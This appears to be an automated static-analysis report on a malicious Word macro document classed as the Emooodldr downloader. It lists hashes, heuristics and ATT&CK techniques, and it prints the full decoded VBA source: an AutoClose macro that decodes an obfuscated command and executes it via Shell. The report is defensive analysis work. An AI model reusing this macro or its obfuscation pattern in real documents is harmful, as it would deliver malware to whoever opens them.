Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f82333a95a38167b…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-31
MD5: 00a7b96790c3ca21f7e5bdcdfe7a15e7 SHA-1: 33b861b31419dbc6b21d2fa4444a8a78b988ea13 SHA-256: f82333a95a38167b554da0a6d2da54b19a0c633e6d8aa3a3a47c98a3fee304ab
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that is designed to execute when the document is closed. The macro uses obfuscated string manipulation to construct a command that is then executed via Application.Run. This indicates the document is likely a downloader for a second-stage payload, consistent with the Emooodldr family identified by ClamAV.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2043 bytes
SHA-256: 89e9e242d760d6ecb4acba36166d9faf8507b12b7945ec2ab890bd164fa12f31
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function olethreutes(crowdedly)
  alytical = Array("f", "i", "u", "G", "o", "m", "l", "2", "N", "e", "p", "M", "S", "7", "D", "1", "y", "X", "5", "U", "Z", "k", "w", "6", "V", "P", "8", "H", "v")
  viatic = Array("z", "p", ".", "j", "U", "?", "c", "N", "t", "u", "w", "n", "f", "o", "s", "i", "m", "d", "=", " ", ":", "k", "/", "b", "x", "a", "h", "q", "e")
  
  stipulate = vbNullString
  
  For Each flagellaria In crowdedly
    unadulterated = unfeared(flagellaria, alytical)
    If unadulterated > -1 Then
    stipulate = viatic(unadulterated) + stipulate
    End If
  Next
  
  olethreutes = StrReverse(stipulate)
  
End Function

Public Function unfeared(postscorbutic, initialization)
  tarrify = 5981
  coal = 8041
  For tarrify = 0 To UBound(initialization)
    If initialization(tarrify) = postscorbutic Then
     coal = tarrify
    End If
  Next

  If coal = 8041 Then
    coal = -1
  End If
  
  unfeared = coal
End Function


Sub AutoClose()
  crowdedly = Array("y", "D", "8", "N", "P", "u", "v", "V", "v", "U", "8", "N", "N", "i", "Z", "w", "w", "1", "G", "H", "X", "G", "H", "M", "p", "1", "X", "e", "H", "e", "G", "H", "1", "e", "v", "f", "V", "l", "u", "l", "7", "y", "w", "2", "o", "w", "D", "7", "S", "u", "i", "8", "i", "m", "e", "N", "y", "P", "5", "6", "P", "p", "k")
  undeceased = olethreutes(crowdedly)
  
  Application.Run "maggot", (undeceased)
  
End Sub


Private Sub maggot(v)
   
   laborlesses = 909
   mineworker = True
   
   While mineworker
     bocconia = laborlesses + 611
     If bocconia - laborlesses > 7 Then
       owser = injunction + "ll"
       Call VBA.Shell(v, vbNormalFocus - 1)
       mineworker = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 1647c08ae9f544b5716ed3a04a8ed3c6b9e041181d431687a09c4fdded0b4974
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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